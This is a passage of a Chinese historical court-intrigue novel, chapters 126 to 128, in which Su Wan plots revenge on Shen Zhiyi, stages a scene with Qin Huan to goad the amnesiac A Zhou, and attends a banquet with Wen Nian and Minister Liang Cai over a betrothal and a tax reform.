“外头有动静。”阿舟立在窗边，眉头微蹙。
苏绾坐在案边，淡淡道：“不关你的事。”
“可是……”阿舟还想说什么，却被苏绾截住话头。
“你来我房里，已经是错。若被人撞见，后果更麻烦。”
阿舟讪讪坐回软榻边角，低声嘟哝：“不知是谁半夜乱跑，一准没安好心。”
苏绾睨他一眼，“放心，有人盯着。”
“谁？”阿舟问。
苏绾别开脸，低头理着自己袖口，“你不该来找我。”
“可是我想你。”
苏绾手指一顿。
阿舟望着她，勇敢道：“你知道我不是个能说会道的人，但我心里的事，从来没变过。”
苏绾垂下眼眸：“这世道，真心，是最容易破碎的东西。”
祠堂内。
香火缭绕，无霜扶着灵案，胸脯还在起伏。
外头一阵骚动，几声惊呼随风飘入。
晴雷侧耳听了听，“沈枝意逃了。”
无霜像没听见似的，“她能逃到哪儿去？不过是只笼中扑腾的雀。”
晴雷神色一敛，“你们早就知道？”
“她逃不出小姐的手掌心。”无霜语气平静，好似陈述天命般，“我倒是希望，她永远别回来。”
抬眸睇向素色牌位，“文竹不想见到她。”
沈枝意摸到一处偏僻走廊，忽见阿喜的房间就在前方，顿时火气蹿上脑门，恨得牙痒痒。
“臭婊子，竟敢打本小姐的脸，让你尝尝报应的滋味！”
她拢手扯散几缕头发，袖中掏出帕子蒙在脸面，还从墙角捡了两团蛛网贴在脸边。又学着戏台上的小旦，凄凄惨惨地“呜呜”两声，拽动门框发出响动。
“我是～怨～魂～索命～”
未等她吓唬别人，一声爆喝忽如雷霆：
“什么人在外面鬼叫？找打是不是！”
声如破竹，吓得沈枝意“嗷”地一声，魂都飞了半截，她无论如何也想不到，此刻李老爹竟然待在阿喜的房间。
阿喜趴着门缝大叫：“娘哎，有女鬼在门口飘，脸上还有毛。”
“女鬼个屁！”李老爹咂舌道，“八成是黑猫成精了，走，爹带你抓猫精玩去。”
沈枝意吓得腿肚子都软了，她转身迅速逃跑，结果一脚踩空，又一次结结实实摔在石板上，疼得呲牙咧嘴，却连声惨叫也不敢发出。
她一边揉着膝盖，一边忍痛爬起，惶惶张望周围地形。
眼看李老爹推门而出，身后跟着阿喜一同“除妖”，沈枝意一咬牙，屈身钻进院墙角的那道狗洞。
溶溶月光下，一道灰扑扑的身影像泥鳅一样从土洞里匍匐爬出，仓惶融入浓浓夜色，余留几撮被蛛网缠住的发丝，和几条被碎石扯烂的裙脚。
李老爹皱眉道：“咦？这黑猫，还会钻狗洞。”
126. 演戏
或许是李老爹舍不得父女睽离；又或许晴雷尚有愁绪未与文竹诉尽；抑或是阿舟身份敏感，不宜夜半出行。
总之，三人整夜留宿苏府，谁都不想离开。
直至天色微明，沈枝意逃跑的消息不胫而走，苏府上下闹得人仰马翻——报官的报官，传信的传信，挨训的挨训。人人皆如热锅上的蚂蚁，慌乱无措，乱作一团。
结果，三人被彻底困在了苏府，想走也走不成了。整个早晨，三人被分别藏匿在女眷房内，饭食皆由下人偷偷送入，以躲避管家的过问盘查。
好不容易能和女儿安安心心享受一回天伦之乐，李老爹自然乐得自在，主家怎么安排，他就怎么听着便是。至于沈家与苏家那摊子豪门恩怨，打生打死也好，爱恨缠绵也罢，他一介草民才懒得管呢。
这会子，李老爹盘腿坐上矮榻，笑眯眯看着阿喜将苏绾送她的珠钗玉簪一样样摊开，献宝似地往他眼前推着。
“阿爹，快瞧这只蝴蝶簪，翅膀还会颤哩！”
李老爹眯着昏花老眼，粗糙手指碰了碰振翅欲飞的蝶翼。
“阿喜啊，”他乐呵呵叹了句，“你这小日子，过得比阿爹都讲究喽。”
“才没有呢！”阿喜羞赧道：“这些都是留给阿爹的养老钱。”
而晴雷这头略显局促，少年正襟危坐于矮凳之上，低首反复擦拭手中的雁翎刀。刀身银光锃亮，就快擦出火星子来了。
无霜在房中忙来忙去，怀里抱着一床叠好的锦被，一刻也不消停。晴雷斜睨她一眼，忍不住低声道：“你要不要先坐下歇一歇？”
无霜脚步一顿，脸颊悄然泛起红晕，怀里的锦被也沾染了几分温意。可她仍旧强撑着自尊心，梗着脖子撇出别扭的几个字：“不必了。”
她心里，还有气没消呢。
话音刚落，锦被下垂的流苏恰巧勾连住案角，无霜的身子被拽扯得一斜，连人带被栽进了眼疾手快的晴雷怀里……
至于阿舟，则不要脸地霸占了苏绾的床塌，美其名曰“补觉”。他窝在柔软的锦被内里，半眯着眼，悄悄打量案前那道专注的倩影。
烛泪垂落，堆成一朵殷红的“珊瑚花”，映得桃花脸颊如玉雕般通透温润。苏绾整夜都坐在案前，写写画画，现在又拿着本兵书看个没完，一夜未曾阖眼。
阿舟盯着佳人微颤的睫羽，暗暗腹诽：这书莫非是镶了金？竟能让她捧了一整夜都不肯放手。
可他到底不敢贸然打扰她清修，生怕得罪了她，惹她不高兴。况且，那串珍珠项链被他一时激愤而碾作粉末，撒落在床脚边，与土坷垃混在一起。
如今连赔罪的机会都没了，男人卷了卷凤眸，心底满是懊悔，觉得自己可怜又可恨，恨不得甩手扇自己几巴掌。
“再看下去，眼珠子要掉出来了。”苏绾忽地出声，书页“哗啦”一响。
阿舟吓了一跳，赶紧翻了个身，背对着苏绾躺好，假装睡熟了，竟还打起了鼾声。
苏绾睇着那身“装睡”背影，嘴角弯了弯，心中思绪翻涌。
以他当前这副状态，莫说助她复仇，就连保住自己那条命，怕也是勉强至极。
一个失忆的将军，空有一身本事却无法使用，身处风雨飘摇的乱世，背后不知有多少双眼睛正死死盯着他，随时可能扑上来，将他撕成碎片，挫骨扬灰。
当前第一要务：要让他记起自己是谁；也要让他明白，不能再做任人宰割的羔羊。
该如何才能唤醒沉睡的记忆，点燃那团早已熄灭的怒火？
忽然，门外传来春蝉清亮的一声问安：“秦大夫来了！”
这一嗓子，显然把来人惊了一下，秦欢脚步一顿，隔了片刻，低声问道：“小姐起了吗？”
春蝉回道：“还没有呢。昨夜府里出了这么一档子事，小姐忙得脚不沾地，几乎将整个偏院翻了个遍，也没搜出任何线索与痕迹。”
秦欢微皱眉头：“怎么不来找我？”
春蝉答道：“小姐吩咐过，不得惊扰舅爷和表少爷休息。”
秦欢眼神黯了几分，沉声道：“纸包不住火，早晚是要面对的，何苦一个人强撑着？”
屋内苏绾闻听春蝉报信，不动声色地合上书卷，斜睨一眼塌上偷懒的阿舟，唇角轻启：“躲起来。”
阿舟一愣，还未反应过来，苏绾已低声催促：“快点。”
她起身走到床前，利落地拉过床边的帘幔，将阿舟隔在内侧，四周唯余一人之静。
秦欢推门而入，见苏绾端坐塌边，鬓发整齐，面色带着几分疲倦，毫无休息的样子，不由一怔：“你这是要闹哪样啊？”
苏绾眉目带笑：“表哥此话怎讲？”
昨日两人才推心置腹畅谈人生，彼此互通有无，双方都已卸下心防，将所有的秘密和盘托出。
自然不再以“表哥”相称。
秦欢眼底浮起一丝难辨的情绪，他趸进屋内，拉过一张凳子坐下，睇着苏绾道：“你才经历几多坎坷波折，应是卧床休息为主，不该再熬夜劳神。”
苏绾站起身，莲步轻挪，在他面前转了个身，裙摆飞扬，“表哥莫要忧心，我吃得好睡得香，并无忧虑挂碍。就连沈枝意出逃一事，我也早已做了打算。”
秦欢原以为她会避而不谈沈枝意，怎料她反倒主动提起，令他微有诧异。
“什么打算？难道是向沈恪负荆请罪不成？”
“我没那么下贱。”苏绾嘴角斜了斜，“此地无银三百两，我才不傻呢。”
她缓步走到他面前，低头凝视着那双温润清朗的眼眸，“人是自己逃的，我自然要去报官，还要协助通缉她，将她绳之于法。”
她咬唇道：“沈枝意将我苏绾的亲信活活打死，这笔账，岂是说翻篇就能翻篇的？”
声音骤然冷下来，“她欠我的，不是一句道歉，不是一纸悔书，而是一条性命。我要的是一命偿一命，才算公平合理。”
秦欢有些不解：“那你为何又要放她逃？”
苏绾不答，身子一侧，竟直接坐进他怀里。
秦欢一惊，身体本能地僵住，还未来得及反应，一双葇荑勾住他的脖颈，柔声在他耳畔低语：
“我给她量身定制了一出好戏，最适合她那种眼高于顶、不谙世事的千金大小姐了。”
她的唇角扬起一抹狡黠的笑意，“很快，沈枝意就会遇到她生命里最‘重要’的人。落难的大小姐嘛，自然要配不得志的穷书生，才叫天作之合。”
“可惜，注定是一出悲剧。”
她的声音越发清冷：“她会经历被暗算、被欺骗、被辜负，甚至沦落到卖身求生的地步。”
“待她尝尽世间百味酸苦，才会真正明白，什么叫尊重生命，她错的又有多离谱。”
她靠得太近，吐息缭绕在耳侧，仿佛轻羽拂面，令秦欢面颊不由一红。他微微侧过身，悄然调整姿势，努力掩饰心头的波动。
秦欢咳了一声，尽量让声音听起来镇定：“你别小看了沈恪，哪怕上刀山下火海，天涯海角也要把宝贝女儿揪回来不可。”
苏绾淡淡一笑，“只怕他找得回沈枝意的人，却拉不回来她的心。嫁出去的女儿，泼出去的水，沈恪再厉害，也管不住一个真心破碎、泥足深陷的女人。”
秦欢听出了她言语背后的深意——苏绾不是放沈枝意一条生路，而是设了一个温柔陷阱，要让她一步步沉沦，直至万劫不复。
他认为，她是在深渊的边缘涉水，“可你去哪里寻一个痴心绝对，又让沈枝意情根深种的男子？”
苏绾贴得更近了些，声音轻柔得像哄梦：“你别忘了，我在教坊司待过很长一段时间。那地方鱼龙混杂，什么样的男人我没见过？”
“我认识一个人，嗓音好听，长得俊俏，极擅哄女人。他来唱这出对手戏，最合适不过。我了解他的念想与为人，他一定会帮我的。”
秦欢仍有几分踌躇——这场布局看似缜密周全，实则危机四伏。倘有一人不按套路出牌，则功亏一篑，落得满盘皆输。
可眼下，他已经顾不得旁人会如何了。
苏绾软软地倚在他怀里，发间馨香如春水袭来，叫人心神荡漾。他垂眸望着她，终是忍不住，扶着她的薄肩，俯身在她额前落下一吻。
“表哥……”苏绾低低唤他。
两个字灌入耳中，令秦欢陡然一震，脑中一瞬清明。
从他进门那一刻起，她一直唤他“表哥”——绝非无心之语。
与此同时，她又毫不避讳地承认放走了沈枝意，甚至将后续安排娓娓道来，毫无遮掩。
她究竟在下哪步棋？葫芦里卖的又是什么药？
秦欢四下扫视，屋中陈设整洁如常，可空气中隐约浮动着一丝微弱的腥涩味道，或是藏了什么本不属于这间屋子的东西。
眸光一转，落在床榻那头——帷幔低垂，鼓起一道轻微的弧度。榻角悬着的缎面，似乎还因某种重量微微下陷。
原来如此。
她这是要
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拉着他，唱一出“警醒”戏码给人看。
秦欢不觉悲从中来，一想到自己不过是一根皮鞭，一枚棋子，被她握在手里鞭策他人、布局算计的工具，心口止不住地泛起苦意。
即便如此，他仍甘之如饴。
他低头吻上朱唇，似蜻蜓点水，“表妹这般主动，让表哥实在情难自抑。”
苏绾眼波流转，“我不过是信你，信你有情有义，能扛得起事。”
“可不是谁都能担得起‘信任’二字的。”秦欢话锋一转，意味深长地道：“若只会做缩头缩脑的乌龟，不敢面对现实，还是留在女人的绣榻上做春梦罢。”
苏绾摩挲着秦欢的衣襟，像无意而语，又似刻意点拨，“这世道，弱就是罪。跌倒了若不能站起来，就该学着退出。”
秦欢望着她，似在吐露心声，又似配合她做戏，“我这把刀，随时愿为你豁出去。”
苏绾笑道：“我就知道，表哥不会让我失望。”
两人情意缱绻，互诉衷肠。帘幔后的榻上，阿舟听得冷汗淋漓，心跳如擂鼓。一字一句，像钉子一样钉在心头。
他现在什么也做不了，任由别人夺了她的信任与真心，他这位人人口中的“冷面阎罗”，连护她安身都无能为力。
男人咬紧了牙关，眼底泛起阴沉的执念，手也不由自主攥紧了被角。
帘幔后传来一阵扯动的轻响，奚奚索索，夹杂着些许叹息声。
秦欢眼神倏然一凛。
苏绾端起案上一盏茶，轻轻晃了晃，水声遮掩了动静。她笑着打圆场：“可能是虫儿飞进来了，窗没关严。”
秦欢唇角一挑，冷冷道：“这虫子倒沉得住气，藏得够深。”
话音未落，他已几步踏到床前，骤然掀开帘帐。帘幔呼啦坠地，尘埃惊起飞扬，如同一层遮羞布被人残忍撕裂。
榻上的阿舟被突如其来的曝光刺得睁不开眼，他反手挡住光线的侵袭，看见自己的手背在颤抖。他觉得自己像一只被逮住偷腥的猫，狼狈得令人可笑。
秦欢负着手，居高临下睥睨着他，眼神冷漠至极，“你躲在这里，是怕死呢，还是怕丢人？堂堂七尺男儿，藏得比女人还要隐蔽。”
阿舟脸涨得通红，恨不得一头钻进地缝，从此永远消失。
苏绾站在秦欢身旁，冷漠的神情让阿舟终身难忘。
“真是没用。”她淡淡道。
秦欢慢条斯理地整了整衣袖，“他现在连自己是谁都不知道，倒不如靠只狗来的实诚。”
阿舟听到这话，眼底血丝翻滚。
那一刻，羞辱、愤怒、自卑、绝望，全数涌上心头。
胸腔燃起一股怒火，却不知谁是始作俑者。
此生再也没有比这一刻更加令人窒息的屈辱。
他宁愿自己化作一缕尘埃，在屈辱中腐朽堕落，融进泥土里。
他一把推开秦欢，拔腿冲了出去。
门扉被他踢得砰然作响，守在门外的春蝉几乎被他撞了个满怀，吓得小丫头直嚷嚷：“有鬼啊！”
“他去哪里？”秦欢眉梢一挑，似笑非笑地望着苏绾。
“随他去。”苏绾没有看他，将帘幔重新放下。
她的心情百感交集，五味杂陈，很难用一句话概括总结。
可这天大的难事，却被聪明如秦欢一语道破：“你舍得吗？”
杂乱无章的愁绪瞬间找到了开口，苏绾一愣：“舍得不舍得，有什么意义？”
若能一棒子敲醒梦中人，才是此行最紧要之事。
对此秦欢不置可否，他沉默片刻，道：“其实我今早过来，还有另外两件事，方才不便开口讲。”
他转身寻回那张凳子，重新坐定，“第一件事，是姨父昨晚从阁老府邸回来，说我入宫之事，已八九不离十。内阁那边愿意出面协调，走的是吏部旧例，太医院发聘书，不走探亲这条路。”
苏绾眼中闪过讶色，“阁老居然愿意帮忙？这局棋牌，变得越来越有意思了。”
“第二件事嘛……”秦欢顿了顿，目光投向她，“有些棘手。”
他缓缓道：“温如初昨晚递了帖子来，署的是户部尚书梁才的名义。邀请你和姨父，四人共赴一场私人宴会，时间定在明日午后。”
苏绾感到不可思议：“温如初？梁才？”
“嗯，”秦欢眸色微沉，“表面上是为婚约一事做个了结，但我猜事情绝不会那么简单。”
“温念他一定别有用心。”
127. 离府
苏绾淡淡道：“他说请我赴宴，我就非去不可么？”
秦欢沉声道：“你自是不必委曲求全，可你与他之间尚存续婚姻约定。圣上赐婚，金口玉言，不是说取消就能取消的。此番温念极有可能假借婚约的名义，逼迫你胁从妥协。”
“如今他主动牵头设宴，邀你与姨父同席，恐怕不只是拉拢交际那么简单。兴许是想做个了断，又兴许另有所谋。总之，你在明他在暗，虚实难辨，还是防着些为妙。”
“为慎重起见，宴会须向后推迟几天，并且时间地点皆由我们来定——最好选在人来人往的闹市区，这样对方才不敢轻举妄动。我提前安排人手潜伏在周遭附近，以备不测。”
苏绾轻笑道：“表哥如此周全，表妹有何可忧？”
那副娇俏容颜，灵动婉转，深深吸引了秦欢。他忍不住伸手刮了刮她的小鼻尖，笑里带叹：“若非为了你，我怎会这般煞费苦心？可你呢……”
他低下头，忽地有些感伤，“方才是谁压着我，非要我配合唱一出戏？你倒是潇洒，我太难了。”
苏绾自知辜负了秦欢，也无以为偿，只好踮起脚尖，轻轻吻上他的薄唇，算作替过往赔罪。
“秦大夫，别这么小气嘛。”她双臂环上他的颈项，放浪笑道：“咱们二人联手，杀他个措手不及，乘此东风，送温念上西天。”
秦欢再次被她缠住，脸颊不由又泛红了。重活两世，终究还是败给了这副如花笑靥。他自知无法抗拒她，只得无奈轻叹着，将她紧紧拥入怀中。
他心里面很清楚，这般温存体贴，怕是已所剩无几。
二人就此达成默契，接下来的几天，两人各司其职，暗中筹谋。
果然不出所料，沈恪终于沉不住气了，一路气势汹汹从大兴县赶过来。一进门，沈恪两手掐腰破口大骂，扬言若苏府不立刻交还宝贝女儿，便要将整座府邸都夷为平地。
殷潜与沈恪相处多年，早已摸透了这位老对手的脾性，只要不涉及宝贝女儿，万事皆好商量。他也深知苏绾的举动，确确实实踩到了沈恪的七寸。
他不愿给自己平白无故树敌，一面打着太极搪塞过去，一面将沈恪按在前厅，同他探讨起倭寇猖獗、边防吃紧的话题。当前倭寇聚集停留山东海域，终非长久之计，应当筹谋狙击剿灭，方为上策。
沈恪早已收到海防密报，对倭寇突然更改驻地，亦感到迷惑不解。可他根本无暇顾及军务，对殷潜的提议也是敷衍了事，只想尽快寻回女儿。
两位重臣你来我往，互相推诿扯皮，皆无实意。
最后逼得老将军没办法，扯着殷潜的袖子嚎啕大哭，直言自己就这么一个宝贝女儿，如果人没了，他也活不下去了。
殷潜无奈之下，只得唤来了苏绾，令她自行解决麻烦。他自己则换掉沾满了鼻涕泪水的脏衣，躲到后堂看庭前花开花落，闲喝龙井茶去了。
苏绾的言辞，则冷漠了许多。
沈枝意打死她的亲信，她拿住沈枝意报官问罪，天经地义。就是闹到“三法司”对簿公堂，她也是不怕的。如今沈枝意夜半跑了，到处都抓不到凶手，她还要找沈恪要人呢！
沈恪一愣，没想到苏绾不过一裙钗妇人，面对堂堂二品大员的诘问，竟能口若悬河，坐怀不乱。这份从容淡定，不似闺阁女子，倒像是久历沙场的政客。
直觉告诉他，苏绾并非她口中所说的那般无辜，就算不是亲手操刀，也绝脱不了干系。只可惜他手头没有任何实质证据，再与其纠葛忒浪费时间，眼下还是找回宝贝女儿最为重要。
沈恪低下头，迈步向外走去，刚走出几步，忽又停下，沉吟片刻，咬牙道：“你已经想好退路了吧？”
苏绾淡淡回道：“不是我做的事，谁也甭想将屎盆子扣我头上。非要说我有退路……”她轻拢衣袖，眸光如水，“不如老将军先抬眼看看自己，面前还有多少条路可走？”
沈恪一怔，方才还存有一丝高位者的居高临下，此刻却莫名生出一阵隐隐不安。他死死盯着苏绾的眼睛，欲看出点端倪来。
苏绾慢条斯理道：“朝局风云诡谲，贵妃与皇后二虎相争。老将军不会天真地以为，自己还能置身事外吧？”
“倭寇狼子野心，从浙江一路北上，兵锋逼近山东沿海。下一步，倭寇若真在黄河口登陆，你猜，圣上会派谁去灭倭？”
她眼眸一掀，寒光毕露：“你再猜，山东海域，是谁的地盘？”
沈恪愕然，山东本就是贵妃一脉盘根错节的重地。若真领兵征倭，等同于踏入贵妃势力腹地。
这是逼着他表态站队啊。
可眼下满朝风向早已偏向皇后一边，贵妃一派渐趋式微，树倒猢狲散，此时若陷入其中，无异于自断前路。
分明是一步死棋！
沈恪默默打量苏绾良久，忽然之间，他似乎理解了，为何时枫那小子会对这位姑娘魂牵梦绕，痴迷不悟。
她绝非柔弱无依的闺阁女儿，而是一只锦绣真凰——眼中藏锋，胸有丘壑，借朝局风浪，翻云覆雨，将这一枕江山，搅得周天寒彻。
那边沈恪铩羽而归，这边李老爹不亦乐乎。
自打听见阿舟翻墙逃走后，晴雷竟一把推开不小心跌进怀里的无霜，直推得她又是一个趔趄。
少年从矮凳一跃而起，一边道歉赔不是，一边握紧雁翎刀，阵风般冲了出去。
可怜无霜跌坐在地，锦被丢在一边，气得咬牙切齿，发誓今生再也不理睬他。
本是三人行，唯余李老爹一个男丁，孤零零滞留于苏府，也无别处可去。所幸苏绾体贴，将他安置在主院，以贵客之礼相待。
每日三餐，李老爹到偏院与阿喜一道用膳。有阿喜陪在身边，李老爹倒也没那么拘束，渐渐放松下来。
人一旦闲了，难免生出些妄念。
他整日里在大宅院闲逛，一名叫“老丁”的仆役对他尤其客气，见到他就点头哈腰，给足他面子。
没错，正是从前伺候苏沅芷的贴身随从——那位险些被时枫捏断手腕，后来又领着邵云礼进府，查办芸娘的老丁。
当年苏君识净身出户，苏夫人盛怒之下遣散了府中大半家丁婆子，只带着几位自钱塘随来的老嬷嬷与亲信，前往杭州投奔殷潜。
老丁等人被打发回乡下种田，他心有不甘，恨自己没能深深扎根在这等门第人家，趁机捞点油水。
后来苏二小姐重返苏府，殷潜坐镇家主之位，府中人手骤紧。殷潜命人招募家丁婢女，老丁凭着旧日资历，主动请买。管家也未多加盘问，重新收了他进来，归入杂役行列。
老丁心头那点小算盘，又悄悄打响了。
这一日，草长莺飞二月天，两人坐在天井里闲聊。老丁口沫横飞，绘声绘色讲起了苏府的“兴衰史”。
他从苏君识迫于压力迎娶苏殷氏讲起，提及姨娘九香黄昏被抬进门，不到两年即沉湖身亡；又讲到苏绾当年“盗取府中财宝”，被家主一气之下贬入行院，半路被温如初救下；再说到去年纳征之日，苏绾与时枫“私通”，被苏沅芷撞破，苏绾恼羞成怒，指使时枫打伤苏沅芷，不得不远送热河疗养；紧接着苏绾与新姨娘芸娘联手，设计给苏尽欢下药，导致其癫狂，虐杀了刘嬷嬷，被刑部捉拿下狱，靠温如初设法保了出来；最后则是芸娘挑唆苏君识与正室和离，一家三口灰溜溜逃到乡下避祸。
说到精彩处，老丁眉飞色舞，唾沫星子都溅到听众的脸上了。听他这般编排，苏绾俨然天生的乱府妖姬，搅得整个苏家天翻地覆，鸡犬不宁。
“你可知道，刘嬷嬷的尸骨埋在何处？”老丁压低了声音，故作神秘。
见李老爹一脸茫然，他嘿嘿一笑，凑近些道：“就在偏院尽头，祠堂旁那块年年荒废的园子里。”
说着摇头叹息，“啧啧，那死状，简直惨不忍睹。脑浆都被砸出来了，乱呼呼的一团，下人们收尸时都不敢
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多看一眼。”
李老爹听得脸色煞白，倒不是怕死，而是那地方——离阿喜住的屋子，竟只有一墙之隔！
怪不得那些下人一个个避之唯恐不及，就连最贪便宜的仆妇也不愿靠近偏院。
阿喜那个傻丫头还常说那边“清净”。清净清净，清得瘆人。
李老爹原本不信下人们的闲言碎语，他自己出身贫寒，最懂得穷苦人家的性子——嘴碎归嘴碎，真真假假搅作一团，多半都是添油加醋的无稽之谈。
可刘嬷嬷的案子，实在吓坏了这个在海风浪里搏命多年的老渔民——都是苦命人，他晓得在贵族权势压迫下，草民维持生活乃至生存都是个问题。
他沉沉地想：那位苏二小姐，果然不是寻常人物。翻手为云，覆手为雨，轻描淡写之间，搅动了整个苏府的风云。
曾经门楣高悬、显赫一方的大宅院，翻覆如棋盘，叫人不得不叹一句——家破人亡，也不过袖手之间。
转念一想，当初与她私通的将军，不正是阿舟吗？如今阿舟虽失了忆，可苏绾是否能就此放手？未必。她与那位秦大夫不是还有一腿？
李老爹心头一阵嘀咕：吃着碗里的，还惦记着锅里的。这样反复无常的女子，嘴上说着情深义重，实则步步为营、左右逢源。世人常说“贪心不足，蛇吞象”，这话落在她身上，倒是再贴切不过了。
李老爹这般想着，越思越心惊，仿佛身处的不是人间宅院，而是虎狼之窟。他只觉后背发凉，恨不得立刻抽身而退。于是随口扯了个由头，推说坐久了腰疼，草草告别老丁，一瘸一拐往偏院跑去。
望着那落荒而逃的背影，老丁眯起眼睛，唇角勾起一抹阴狠的笑意。
这一趟，他属实是受人之托，以一百两的价格，要让李老爹离开苏府管辖范围，外面自会有人接应。
成了局、放了饵，等李老爹咬钩，已然水到渠成。
银子顺利落袋，老丁抬手掸了掸衣角，心中暗自得意：不过是说几句闲话，又赚得一笔，倒也不枉他再投奔苏府一回。
当夜，李老爹留下一封字迹潦草的信笺，托辞说思念阿舟，决意外出寻人，并承诺寻到之后便会回来报信。
他背起早已收拾好的包袱，里面塞满了阿喜的首饰与细软，件件都是她珍藏的宝贝。
李老爹一手拉着迷迷糊糊、不情不愿的阿喜，摸索着来到后院的狗洞，趁着无人守夜，悄无声息地溜出了苏府。
第二日清晨，未见阿喜父女前来用膳，无霜急着禀报给苏绾。
苏绾略感诧异：是她哪处照料不周，惹得二人心生去意？可这偌大京城，阿喜父女初来乍到，人生地不熟，又能奔向何处去寻阿舟？
她并不担心阿舟的安危，有晴雷随行庇护，另有邵云礼派人盯梢，自不会出岔子。
如今人已离去，话也无从多说，既已成定局，索性先放一旁不提。眼下当务之急，仍是与温如初的会面。
地点定在了醉仙楼。
翌日，寒冰消尽，阳春遽多意，万物复苏，柳芽新绽，一片清和景宁。
街巷熙熙攘攘，茶肆酒楼高挂红灯，小贩吆喝声不绝于耳。巷里飘出一股股热腾腾的馄饨香气，孩童追逐打闹，京城的街市热闹而鲜活，处处流转着生机。
苏绾坐在马车里，听帘外喧嚣声声，难掩心中一抹阴翳。她低首摩挲着指间的金戒指，过往云烟处处浮。
对面坐着无霜和春蝉，二人皆不敢多言。前方是殷潜的车驾，一路稳稳当当开道，两旁暗处藏着秦欢的手下，络腮胡等人严阵以待。
苏绾望着窗外人群，世人喧哗，不过是皮相，她要面对的，却是将过往情爱揉碎，撒上权谋与欲望的恶鬼。
街头越热闹，她的心越发沉静，那种不安像是密林深处的风，密密麻麻拂乱她的思绪。
醉仙楼已在眼前，酒旗猎猎招摇。不知今朝这一席，端的是笑面藏刀，还是各怀鬼胎。
128. 婚约
时隔一年重返醉仙楼，人面桃花依旧相映成红，江湖热闹未有半分冷却。
二楼雅间，去年端午那处熟悉的座位，一桌美酒佳肴，色香味俱全，宛如旧梦重温。
只可惜，门外站着的，不再是威风凛凛的冷面将军。取而代之的，是戴着人皮面具的恶鬼。
不是温如初，自他右臂负伤之后，再也没出现在大众视野。
温念。
他身着一袭月白锦袍，白玉冠束起三千青丝，衬得那张俊颜愈发清冷出尘。一双含情桃花眼似醉非醉，顾盼间不知勾走多少闺阁芳心。眉如远山，唇若寒霜，明明近在咫尺，却又遥不可及。
其实是个满三十岁的老不死。
温念一见到她，款款两步上前，语气柔和，如沐春风：“绾绾，别来无恙否？”
这四字，苏绾已听得耳生心厌。凡是喜欢说这话的人，多半根本不在乎你过得好不好，死不死，活不活，都是假惺惺的矫揉造作。
她唇角撇了撇：“凑合。”
言罢，水袖一拂，带着无霜与春蝉扬长而入，连一个眼神都吝于施舍。擦肩而过时，裙摆轻轻掠过他的靴面，衣袂生风。
温念眉梢一跳，笑意不减。
屋内主位上，正襟危坐的便是二品户部尚书梁才。
此人年逾六旬，头发花白，身宽体胖，五官嵌在肉里，眼睛眯成一条缝。三角鼻头塌陷，唇厚齿黄，笑时带着一丝阴翳。他身着沉香色直裰，腰间束鹿皮蹀躞带，悬着和田玉灵芝佩，佩下缀着丝绦。
上一世，苏绾对梁才并无太多印象，也没留意过此人最终的结局。想来结局平平，并未掀起什么风浪，也没留下深刻的痕迹。
这一世，此时苏绾还未见过梁才，仅从温如初的言论中听闻其人：讲梁才如何赏识他，力挺他在朝中推行改革，又如何在群臣反对声中，一己之力为他担下重责。说起来，梁才之于温如初，可谓知遇之恩，恩重如山。
梁才打量着一身素雅妆束的苏绾，目光带着上位者惯有的审视与威压，“这位，便是苏家的二小姐？”
“正是。”殷潜一面说着，随手一伸，引苏绾落座身旁。
梁才点点头，“果真是百年难得一见的美人，名不虚传。”
苏绾侧身大方行礼，拜了梁才一拜，盈盈款步入席。无霜、春蝉两位小丫头侍立左右。
对面坐着温念，衣袖半卷，桃花眼眸睐着她，赞同道：“绾绾倒是比去年，更加耐看了几分。”
苏绾嗤了一声。
“你可比去年老了许多，一下子年长了七八岁。”
梁才与殷潜对视一眼，皆有些错愕，似乎没料到素来温婉的苏府二小姐，竟是这般直言不讳的火辣性子。
细细一想，又有些认同她——温如初较之从前，形容憔悴了许多，仿佛一夜之间苍老了七八岁。想来这朝堂政事，是有多么磨人心志。
温念笑意一僵。
苏绾却不管他，素手拈起青玉茶盏，指尖叩了叩杯沿，无霜适时地向茶盏斟满茶水。
虽说是宴席，空对着满桌子美味佳肴，在场几人皆没有动筷的心思，斟酒的斟酒，品茗的品茗。
室内氛围略显尴尬。
殷潜轻咳一声，率先破冰：“尚书大人身在京中，下官远在江浙，碍于职守，无缘登门求教。今日得见大人风采，竟是两年间首次相会，属实难得。”
梁才微微抬颌，“朝中事务繁杂，实难分身交际。殷布政使肩挑江南一方重任，此番入京尚能拨冗与老夫一聚，倒是老夫的福分了。”
殷潜乘势拱手一笑：“尚书大人鞠躬尽瘁，忠勤为国，早已是朝野共仰的楷模。我等身居外职，当以大人为范，不敢懈怠。”
两人一通互相吹捧，左右逢源，听得苏绾直翻白眼，最烦这种虚情假意的寒暄客套，半天都说不到重点。
梁才明显很受用。
“过奖了。”梁才轻拈酒盏，微微一笑，“现今朝局微妙，各地纷争四起。自温大人主张的土地改革，在全国逐步推行以来，圣上愈发亲询各部政务，户部更是首当其冲，一日都不得清闲。”
他慢条斯理地啜了口酒，“不过辛劳也罢，若能为国尽忠，为主分忧，再苦再累，做臣子的也不敢怠慢。”
殷潜点头附和：“圣上心忧天下，信重梁大人，乃我朝子民之幸。土地改革一事，关系百姓生计，功在千秋。”
苏绾听得乏味极了。
他们谈的，不是百姓冷暖困苦，而是如何分权夺势，如何在乱局中站稳脚跟。这些人最擅长的，就是把虚伪当作风度，把算计披上礼数的外衣。
梁才也好，殷潜也罢。面对这群笑面虎，苏绾愈发厌倦无意义的周旋。既然厌恶，何必寒暄？既然忌惮，又何必交好？
正当苏绾盘算着，该如何打断这毫无意义的繁冗对话。
哪知殷潜话锋一转，“下官愚见，江浙地窄人稠，百姓赋税已重，若不顾当地实情，直接照搬北地章程，恐有水土不服之虞。”
此事说来话长。
温如初白手起家，靠的是“土地赋税改革”制度。其核心内容是将各州县原本繁杂分散的田赋、徭役及杂项征税统筹合一，合并为一条龙银税，按亩折算，集中征收。
此举一方面大大简化了税制流程，提升了税务效率，方便朝廷掌握税银实收情况；另一方面削弱了地方豪强与贪官舞弊的空间，实实在在地增加了中央财政收入。
改革一出，震动朝野。
皇帝力主推行此法，选定田赋最为繁重的江南三省——江苏、安徽、浙江为首批试点区域，而这三省，恰属于殷潜的辖区。
然而改革触及的，乃是地方士绅与地主阶层的核心利益。隐瞒土地、规避赋税、暗中阻挠者比比皆是，使得改革在半年内进展缓慢，雷声大雨点小，收效寥寥。
殷潜夹在上命与下情之间，进退维谷，备感掣肘。上不能得罪朝廷重臣，下不能惹怒地方豪强，可谓两头为难，苦不堪言。
去年五月，首辅章任梁审时度势，上奏皇帝恳请暂缓全国推行土地改革。此举间接导致温如初的仕途蒙上了阴影，风评亦陷入低谷。
